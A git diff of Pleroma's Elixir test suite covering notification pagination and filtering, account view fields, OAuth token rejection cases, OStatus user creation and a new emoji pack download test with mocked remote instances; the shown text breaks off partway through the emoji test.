|
||||
|
||||
assert all = json_response(conn, 200)
|
||||
assert all == []
|
||||
end
|
||||
|
||||
test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
{:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
{:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
{:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
|
||||
notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string()
|
||||
notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string()
|
||||
notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string()
|
||||
notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string()
|
||||
|
||||
conn =
|
||||
conn
|
||||
|> assign(:user, user)
|
||||
|
||||
# min_id
|
||||
conn_res =
|
||||
conn
|
||||
|> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}")
|
||||
|
||||
result = json_response(conn_res, 200)
|
||||
assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
|
||||
|
||||
# since_id
|
||||
conn_res =
|
||||
conn
|
||||
|> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}")
|
||||
|
||||
result = json_response(conn_res, 200)
|
||||
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
|
||||
|
||||
# max_id
|
||||
conn_res =
|
||||
conn
|
||||
|> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}")
|
||||
|
||||
result = json_response(conn_res, 200)
|
||||
assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
|
||||
end
|
||||
|
||||
test "filters notifications using exclude_types", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"})
|
||||
{:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"})
|
||||
{:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user)
|
||||
{:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user)
|
||||
{:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user)
|
||||
|
||||
mention_notification_id =
|
||||
Repo.get_by(Notification, activity_id: mention_activity.id).id |> to_string()
|
||||
|
||||
favorite_notification_id =
|
||||
Repo.get_by(Notification, activity_id: favorite_activity.id).id |> to_string()
|
||||
|
||||
reblog_notification_id =
|
||||
Repo.get_by(Notification, activity_id: reblog_activity.id).id |> to_string()
|
||||
|
||||
follow_notification_id =
|
||||
Repo.get_by(Notification, activity_id: follow_activity.id).id |> to_string()
|
||||
|
||||
conn =
|
||||
conn
|
||||
|> assign(:user, user)
|
||||
|
||||
conn_res =
|
||||
get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]})
|
||||
|
||||
assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200)
|
||||
|
||||
conn_res =
|
||||
get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]})
|
||||
|
||||
assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200)
|
||||
|
||||
conn_res =
|
||||
get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]})
|
||||
|
||||
assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200)
|
||||
|
||||
conn_res =
|
||||
get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]})
|
||||
|
||||
assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200)
|
||||
end
|
||||
|
||||
test "destroy multiple", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
other_user = insert(:user)
|
||||
|
||||
{:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
{:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
|
||||
{:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
|
||||
{:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
|
||||
|
||||
notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string()
|
||||
notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string()
|
||||
notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string()
|
||||
notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string()
|
||||
|
||||
conn =
|
||||
conn
|
||||
|> assign(:user, user)
|
||||
|
||||
conn_res =
|
||||
conn
|
||||
|> get("/api/v1/notifications")
|
||||
|
||||
result = json_response(conn_res, 200)
|
||||
assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result
|
||||
|
||||
conn2 =
|
||||
conn
|
||||
|> assign(:user, other_user)
|
||||
|
||||
conn_res =
|
||||
conn2
|
||||
|> get("/api/v1/notifications")
|
||||
|
||||
result = json_response(conn_res, 200)
|
||||
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
|
||||
|
||||
conn_destroy =
|
||||
conn
|
||||
|> delete("/api/v1/notifications/destroy_multiple", %{
|
||||
"ids" => [notification1_id, notification2_id]
|
||||
})
|
||||
|
||||
assert json_response(conn_destroy, 200) == %{}
|
||||
|
||||
conn_res =
|
||||
conn2
|
||||
|> get("/api/v1/notifications")
|
||||
|
||||
result = json_response(conn_res, 200)
|
||||
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
|
||||
end
|
||||
|
||||
test "doesn't see notifications after muting user with notifications", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
user2 = insert(:user)
|
||||
|
||||
{:ok, _, _, _} = CommonAPI.follow(user, user2)
|
||||
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
|
||||
|
||||
conn = assign(conn, :user, user)
|
||||
|
||||
conn = get(conn, "/api/v1/notifications")
|
||||
|
||||
assert length(json_response(conn, 200)) == 1
|
||||
|
||||
{:ok, user} = User.mute(user, user2)
|
||||
|
||||
conn = assign(build_conn(), :user, user)
|
||||
conn = get(conn, "/api/v1/notifications")
|
||||
|
||||
assert json_response(conn, 200) == []
|
||||
end
|
||||
|
||||
test "see notifications after muting user without notifications", %{conn: conn} do
|
||||
user = insert(:user)
|
||||
user2 = insert(:user)
|
||||
|
||||
{:ok, _, _, _} = CommonAPI.follow(user, user2)
|
||||
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
|
||||
|
||||
conn = assign(conn, :user, user)
|
||||
|
||||
conn = get(conn, "/api/v1/notifications")
|
||||
|
||||
assert length(json_response(conn, 200)) == 1
|
||||
|
||||
{:ok, user} = User.mute(user, user2, false)
|
||||
|
||||
conn = assign(build_conn(), :user, user)
|
||||
conn = get(conn, "/api/v1/notifications")
|
||||
|
||||
assert length(json_response(conn, 200)) == 1
|
||||
end
|
||||
|
||||
test "see notifications after muting user with notifications and with_muted parameter", %{
|
||||
conn: conn
|
||||
} do
|
||||
user = insert(:user)
|
||||
user2 = insert(:user)
|
||||
|
||||
{:ok, _, _, _} = CommonAPI.follow(user, user2)
|
||||
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
|
||||
|
||||
conn = assign(conn, :user, user)
|
||||
|
||||
conn = get(conn, "/api/v1/notifications")
|
||||
|
||||
assert length(json_response(conn, 200)) == 1
|
||||
|
||||
{:ok, user} = User.mute(user, user2)
|
||||
|
||||
conn = assign(build_conn(), :user, user)
|
||||
conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"})
|
||||
|
||||
assert length(json_response(conn, 200)) == 1
|
||||
end
|
||||
end
|
||||
|
||||
describe "reblogging" do
|
||||
test "reblogs and returns the reblogged status", %{conn: conn} do
|
||||
activity = insert(:note_activity)
|
||||
|
|
@ -2595,14 +2320,11 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
|
|||
{:ok, _} = CommonAPI.post(user, %{"status" => "cofe"})
|
||||
|
||||
# Stats should count users with missing or nil `info.deactivated` value
|
||||
user = User.get_cached_by_id(user.id)
|
||||
info_change = Changeset.change(user.info, %{deactivated: nil})
|
||||
|
||||
{:ok, _user} =
|
||||
user
|
||||
|> Changeset.change()
|
||||
|> Changeset.put_embed(:info, info_change)
|
||||
|> User.update_and_set_cache()
|
||||
user.id
|
||||
|> User.get_cached_by_id()
|
||||
|> User.update_info(&Changeset.change(&1, %{deactivated: nil}))
|
||||
|
||||
Pleroma.Stats.force_update()
|
||||
|
||||
|
|
@ -3935,13 +3657,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
|
|||
|
||||
describe "POST /api/v1/pleroma/accounts/confirmation_resend" do
|
||||
setup do
|
||||
user = insert(:user)
|
||||
info_change = User.Info.confirmation_changeset(user.info, need_confirmation: true)
|
||||
|
||||
{:ok, user} =
|
||||
user
|
||||
|> Changeset.change()
|
||||
|> Changeset.put_embed(:info, info_change)
|
||||
insert(:user)
|
||||
|> User.change_info(&User.Info.confirmation_changeset(&1, need_confirmation: true))
|
||||
|> Repo.update()
|
||||
|
||||
assert user.info.confirmation_pending
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
|
||||
|
|
@ -67,7 +67,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
|
|||
source: %{
|
||||
note: "valid html",
|
||||
sensitive: false,
|
||||
pleroma: %{},
|
||||
pleroma: %{
|
||||
discoverable: false
|
||||
},
|
||||
fields: []
|
||||
},
|
||||
pleroma: %{
|
||||
|
|
@ -79,6 +81,8 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
|
|||
hide_favorites: true,
|
||||
hide_followers: false,
|
||||
hide_follows: false,
|
||||
hide_followers_count: false,
|
||||
hide_follows_count: false,
|
||||
relationship: %{},
|
||||
skip_thread_containment: false
|
||||
}
|
||||
|
|
@ -135,7 +139,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
|
|||
source: %{
|
||||
note: user.bio,
|
||||
sensitive: false,
|
||||
pleroma: %{},
|
||||
pleroma: %{
|
||||
discoverable: false
|
||||
},
|
||||
fields: []
|
||||
},
|
||||
pleroma: %{
|
||||
|
|
@ -147,6 +153,8 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
|
|||
hide_favorites: true,
|
||||
hide_followers: false,
|
||||
hide_follows: false,
|
||||
hide_followers_count: false,
|
||||
hide_follows_count: false,
|
||||
relationship: %{},
|
||||
skip_thread_containment: false
|
||||
}
|
||||
|
|
@ -306,7 +314,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
|
|||
source: %{
|
||||
note: user.bio,
|
||||
sensitive: false,
|
||||
pleroma: %{},
|
||||
pleroma: %{
|
||||
discoverable: false
|
||||
},
|
||||
fields: []
|
||||
},
|
||||
pleroma: %{
|
||||
|
|
@ -318,6 +328,8 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
|
|||
hide_favorites: true,
|
||||
hide_followers: false,
|
||||
hide_follows: false,
|
||||
hide_followers_count: false,
|
||||
hide_follows_count: false,
|
||||
relationship: %{
|
||||
id: to_string(user.id),
|
||||
following: false,
|
||||
|
|
@ -361,8 +373,16 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
|
|||
end
|
||||
|
||||
describe "hiding follows/following" do
|
||||
test "shows when follows/following are hidden and sets follower/following count to 0" do
|
||||
user = insert(:user, info: %{hide_followers: true, hide_follows: true})
|
||||
test "shows when follows/followers stats are hidden and sets follow/follower count to 0" do
|
||||
info = %{
|
||||
hide_followers: true,
|
||||
hide_followers_count: true,
|
||||
hide_follows: true,
|
||||
hide_follows_count: true
|
||||
}
|
||||
|
||||
user = insert(:user, info: info)
|
||||
|
||||
other_user = insert(:user)
|
||||
{:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user)
|
||||
{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
|
||||
|
|
@ -370,6 +390,19 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
|
|||
assert %{
|
||||
followers_count: 0,
|
||||
following_count: 0,
|
||||
pleroma: %{hide_follows_count: true, hide_followers_count: true}
|
||||
} = AccountView.render("account.json", %{user: user})
|
||||
end
|
||||
|
||||
test "shows when follows/followers are hidden" do
|
||||
user = insert(:user, info: %{hide_followers: true, hide_follows: true})
|
||||
other_user = insert(:user)
|
||||
{:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user)
|
||||
{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
|
||||
|
||||
assert %{
|
||||
followers_count: 1,
|
||||
following_count: 1,
|
||||
pleroma: %{hide_follows: true, hide_followers: true}
|
||||
} = AccountView.render("account.json", %{user: user})
|
||||
end
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.MastodonAPI.ListViewTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.MastodonAPI.PushSubscriptionViewTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.MastodonAPI.ScheduledActivityViewTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.MediaProxyTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.NodeInfoTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.OAuth.AuthorizationTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.OAuth.OAuthControllerTest do
|
||||
|
|
@ -7,6 +7,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
|
|||
import Pleroma.Factory
|
||||
|
||||
alias Pleroma.Repo
|
||||
alias Pleroma.User
|
||||
alias Pleroma.Web.OAuth.Authorization
|
||||
alias Pleroma.Web.OAuth.OAuthController
|
||||
alias Pleroma.Web.OAuth.Token
|
||||
|
|
@ -775,15 +776,11 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
|
|||
|
||||
test "rejects token exchange for valid credentials belonging to unconfirmed user and confirmation is required" do
|
||||
Pleroma.Config.put([:instance, :account_activation_required], true)
|
||||
|
||||
password = "testpassword"
|
||||
user = insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password))
|
||||
info_change = Pleroma.User.Info.confirmation_changeset(user.info, need_confirmation: true)
|
||||
|
||||
{:ok, user} =
|
||||
user
|
||||
|> Ecto.Changeset.change()
|
||||
|> Ecto.Changeset.put_embed(:info, info_change)
|
||||
insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password))
|
||||
|> User.change_info(&User.Info.confirmation_changeset(&1, need_confirmation: true))
|
||||
|> Repo.update()
|
||||
|
||||
refute Pleroma.User.auth_active?(user)
|
||||
|
|
@ -831,6 +828,33 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
|
|||
refute Map.has_key?(resp, "access_token")
|
||||
end
|
||||
|
||||
test "rejects token exchange for user with password_reset_pending set to true" do
|
||||
password = "testpassword"
|
||||
|
||||
user =
|
||||
insert(:user,
|
||||
password_hash: Comeonin.Pbkdf2.hashpwsalt(password),
|
||||
info: %{password_reset_pending: true}
|
||||
)
|
||||
|
||||
app = insert(:oauth_app, scopes: ["read", "write"])
|
||||
|
||||
conn =
|
||||
build_conn()
|
||||
|> post("/oauth/token", %{
|
||||
"grant_type" => "password",
|
||||
"username" => user.nickname,
|
||||
"password" => password,
|
||||
"client_id" => app.client_id,
|
||||
"client_secret" => app.client_secret
|
||||
})
|
||||
|
||||
assert resp = json_response(conn, 403)
|
||||
|
||||
assert resp["error"] == "Password reset is required"
|
||||
refute Map.has_key?(resp, "access_token")
|
||||
end
|
||||
|
||||
test "rejects an invalid authorization code" do
|
||||
app = insert(:oauth_app)
|
||||
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.OAuth.Token.UtilsTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.OAuth.TokenTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.OStatus.ActivityRepresenterTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.OStatus.FeedRepresenterTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.OStatus.OStatusControllerTest do
|
||||
|
|
@ -50,20 +50,16 @@ defmodule Pleroma.Web.OStatus.OStatusControllerTest do
|
|||
assert response(conn, 200)
|
||||
end) =~ "[error]"
|
||||
|
||||
# Set a wrong magic-key for a user so it has to refetch
|
||||
salmon_user = User.get_cached_by_ap_id("http://gs.example.org:4040/index.php/user/1")
|
||||
|
||||
# Wrong key
|
||||
info_cng =
|
||||
User.Info.remote_user_creation(salmon_user.info, %{
|
||||
magic_key:
|
||||
"RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwrong1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB"
|
||||
})
|
||||
info = %{
|
||||
magic_key:
|
||||
"RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwrong1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB"
|
||||
}
|
||||
|
||||
salmon_user
|
||||
|> Ecto.Changeset.change()
|
||||
|> Ecto.Changeset.put_embed(:info, info_cng)
|
||||
|> User.update_and_set_cache()
|
||||
# Set a wrong magic-key for a user so it has to refetch
|
||||
"http://gs.example.org:4040/index.php/user/1"
|
||||
|> User.get_cached_by_ap_id()
|
||||
|> User.update_info(&User.Info.remote_user_creation(&1, info))
|
||||
|
||||
assert capture_log(fn ->
|
||||
conn =
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.OStatusTest do
|
||||
|
|
@ -628,4 +628,18 @@ defmodule Pleroma.Web.OStatusTest do
|
|||
refute OStatus.is_representable?(note_activity)
|
||||
end
|
||||
end
|
||||
|
||||
describe "make_user/2" do
|
||||
test "creates new user" do
|
||||
{:ok, user} = OStatus.make_user("https://social.heldscal.la/user/23211")
|
||||
|
||||
created_user =
|
||||
User
|
||||
|> Repo.get_by(ap_id: "https://social.heldscal.la/user/23211")
|
||||
|> Map.put(:last_digest_emailed_at, nil)
|
||||
|
||||
assert user.info
|
||||
assert user == created_user
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
459
test/web/pleroma_api/emoji_api_controller_test.exs
Normal file
459
test/web/pleroma_api/emoji_api_controller_test.exs
Normal file
|
|
@ -0,0 +1,459 @@
|
|||
defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do
|
||||
use Pleroma.Web.ConnCase
|
||||
|
||||
import Tesla.Mock
|
||||
|
||||
import Pleroma.Factory
|
||||
|
||||
@emoji_dir_path Path.join(
|
||||
Pleroma.Config.get!([:instance, :static_dir]),
|
||||
"emoji"
|
||||
)
|
||||
|
||||
test "shared & non-shared pack information in list_packs is ok" do
|
||||
conn = build_conn()
|
||||
resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
|
||||
|
||||
assert Map.has_key?(resp, "test_pack")
|
||||
|
||||
pack = resp["test_pack"]
|
||||
|
||||
assert Map.has_key?(pack["pack"], "download-sha256")
|
||||
assert pack["pack"]["can-download"]
|
||||
|
||||
assert pack["files"] == %{"blank" => "blank.png"}
|
||||
|
||||
# Non-shared pack
|
||||
|
||||
assert Map.has_key?(resp, "test_pack_nonshared")
|
||||
|
||||
pack = resp["test_pack_nonshared"]
|
||||
|
||||
refute pack["pack"]["shared"]
|
||||
refute pack["pack"]["can-download"]
|
||||
end
|
||||
|
||||
test "listing remote packs" do
|
||||
admin = insert(:user, info: %{is_admin: true})
|
||||
conn = build_conn() |> assign(:user, admin)
|
||||
|
||||
resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
|
||||
|
||||
mock(fn
|
||||
%{method: :get, url: "https://example.com/.well-known/nodeinfo"} ->
|
||||
json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]})
|
||||
|
||||
%{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->
|
||||
json(%{metadata: %{features: ["shareable_emoji_packs"]}})
|
||||
|
||||
%{method: :get, url: "https://example.com/api/pleroma/emoji/packs"} ->
|
||||
json(resp)
|
||||
end)
|
||||
|
||||
assert conn
|
||||
|> post(emoji_api_path(conn, :list_from), %{instance_address: "https://example.com"})
|
||||
|> json_response(200) == resp
|
||||
end
|
||||
|
||||
test "downloading a shared pack from download_shared" do
|
||||
conn = build_conn()
|
||||
|
||||
resp =
|
||||
conn
|
||||
|> get(emoji_api_path(conn, :download_shared, "test_pack"))
|
||||
|> response(200)
|
||||
|
||||
{:ok, arch} = :zip.unzip(resp, [:memory])
|
||||
|
||||
assert Enum.find(arch, fn {n, _} -> n == 'pack.json' end)
|
||||
assert Enum.find(arch, fn {n, _} -> n == 'blank.png' end)
|
||||
end
|
||||
|
||||
test "downloading shared & unshared packs from another instance via download_from, deleting them" do
|
||||
on_exit(fn ->
|
||||
File.rm_rf!("#{@emoji_dir_path}/test_pack2")
|
||||
File.rm_rf!("#{@emoji_dir_path}/test_pack_nonshared2")
|
||||
end)
|
||||
|
||||
mock(fn
|
||||
%{method: :get, url: "https://old-instance/.well-known/nodeinfo"} ->
|
||||
json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]})
|
||||
|
||||
%{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} ->
|
||||
json(%{metadata: %{features: []}})
|
||||
|
||||
%{method: :get, url: "https://example.com/.well-known/nodeinfo"} ->
|
||||
json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]})
|
||||
|
||||
%{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->
|
||||
json(%{metadata: %{features: ["shareable_emoji_packs"]}})
|
||||
|
||||
%{
|
||||
method: :get,
|
||||
url: "https://example.com/api/pleroma/emoji/packs/list"
|
||||
} ->
|
||||
conn = build_conn()
|
||||
|
||||
conn
|
||||
|> get(emoji_api_path(conn, :list_packs))
|
||||
|> json_response(200)
|
||||
|> json()
|
||||
|
||||
%{
|
||||
method: :get,
|
||||
url: "https://example.com/api/pleroma/emoji/packs/download_shared/test_pack"
|
||||
} ->
|
||||
conn = build_conn()
|
||||
|
||||
conn
|
||||
|> get(emoji_api_path(conn, :download_shared, "test_pack"))
|
||||
|> response(200)
|
||||
|> text()
|
||||
|
||||
%{
|
||||
method: :get,
|
||||
url: "https://nonshared-pack"
|
||||
} ->
|
||||
text(File.read!("#{@emoji_dir_path}/test_pack_nonshared/nonshared.zip"))
|
||||
end)
|
||||
|
||||
admin = insert(:user, info: %{is_admin: true})
|
||||
|
||||
conn = build_conn() |> assign(:user, admin)
|
||||
|
||||
assert (conn
|
||||
|> put_req_header("content-type", "application/json")
|
||||
|> post(
|
||||
emoji_api_path(
|
||||
conn,
|
||||
:download_from
|
||||
),
|
||||
%{
|
||||
instance_address: "https://old-instance",
|
||||
pack_name: "test_pack",
|
||||
as: "test_pack2"
|
||||
}
|
||||
|> Jason.encode!()
|
||||
)
|
||||
|> json_response(500))["error"] =~ "does not support"
|
||||
|
||||
assert conn
|
||||
|> put_req_header("content-type", "application/json")
|
||||
|> post(
|
||||
emoji_api_path(
|
||||
conn,
|
||||
:download_from
|
||||
),
|
||||
%{
|
||||
instance_address: "https://example.com",
|
||||
pack_name: "test_pack",
|
||||
as: "test_pack2"
|
||||
}
|
||||
|> Jason.encode!()
|
||||
)
|
||||
|> json_response(200) == "ok"
|
||||
|
||||
assert File.exists?("#{@emoji_dir_path}/test_pack2/pack.json")
|
||||
assert File.exists?("#{@emoji_dir_path}/test_pack2/blank.png")
|
||||
|
||||
assert conn
|
||||
|> delete(emoji_api_path(conn, :delete, "test_pack2"))
|
||||
|> json_response(200) == "ok"
|
||||
|
||||
